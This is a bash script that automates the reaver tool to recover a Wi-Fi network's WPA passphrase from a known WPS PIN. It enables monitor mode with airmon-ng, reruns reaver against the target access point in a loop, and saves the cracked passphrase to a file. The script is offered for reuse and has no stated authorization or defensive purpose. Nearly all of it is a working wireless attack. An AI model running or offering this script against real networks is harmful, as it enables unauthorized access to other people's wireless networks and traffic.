reCheckFoundPin

#!/bin/bash
# following script was created to deal with situation when only PIN is printed, but not WPA PSK
# so script searches WPA PSK until reaver spits it out, using while loop
# perl checks wheter PSK is printed, if so, exit is called.
if [ -z "$1" ] || [ -z "$2" ]; then
   echo "There's common situation that reaver finds pin, but without passphrase";
   echo "Following script has been written to find passphrase - in case you know the pin";
   echo "So for this purpose I wrote following script - you can use it if you have the same problem";
   
   echo "Usage ( [obligatory parameter], [[optional parameter]] ):";
   echo "$0 [PIN] [BSSID] [[CHANNEL]]";
   echo "Example usage:"
   echo "$0 12345679 AA:BB:CC:DD:EE:FF";
   exit;
fi

clearBssid(){
    echo $1 | sed s/://g;
}
getMonitorName(){
    ifconfig | perl -lane '{ if(/^[^\s]*mon/){ $_ =~ s/\s+.*//; print $_; } }'
}

TMP_FILE="/tmp/reCheckFoundPinTMP";
TMP_ACTIVITY_FILE="/tmp/reCheckFoundPinACTIVITY";
CUR_DIR=$(pwd);
PIN=$1;
BSSID=$2;
BSSID_CLEAR=$(clearBssid $BSSID);
CHANNEL_CMD="";
WRITE_FOUND_PASS_TO=$CUR_DIR'/'$BSSID_CLEAR'_FOUND_PASSWORD.txt';
MONITOR_NAME=$(getMonitorName);

if [[ -z "$(ifconfig | grep $MONITOR_NAME)" ]]; then
    airmon-ng start wlan0;
fi

if [[ -n "$3" ]]; then
   CHANNEL_CMD="--channel=$3 ";
fi

if [[ -f $TMP_FILE ]]; then
   rm $TMP_FILE;
fi


touch $TMP_ACTIVITY_FILE;

while true; do
  if [[ -f $TMP_FILE ]]; then
      rm $TMP_FILE;
      exit;
  fi
  sleep 2;
  COMMAND="reaver -p $PIN -i $MONITOR_NAME -b $BSSID -vv -t 20 -g 1 -S -N $CHANNEL_CMD";
  echo $COMMAND;
  eval $COMMAND | perl -lane '
    if (/Received M3/){
	print $_;
	system("touch '$TMP_ACTIVITY_FILE'");
    }
    elsif (/WPA PSK/){
	print $_;
	open (F, ">>'$WRITE_FOUND_PASS_TO'");
	print F $_;
	close (F);
	system("touch '$TMP_FILE'");
    }
    else {
	print $_;
	system("if [[ \"$('$CUR_DIR'/checkFileTouchTimeout.sh '$TMP_ACTIVITY_FILE' 60)\" == \"1\" ]]; then killall reaver; fi;");
    } 
';
done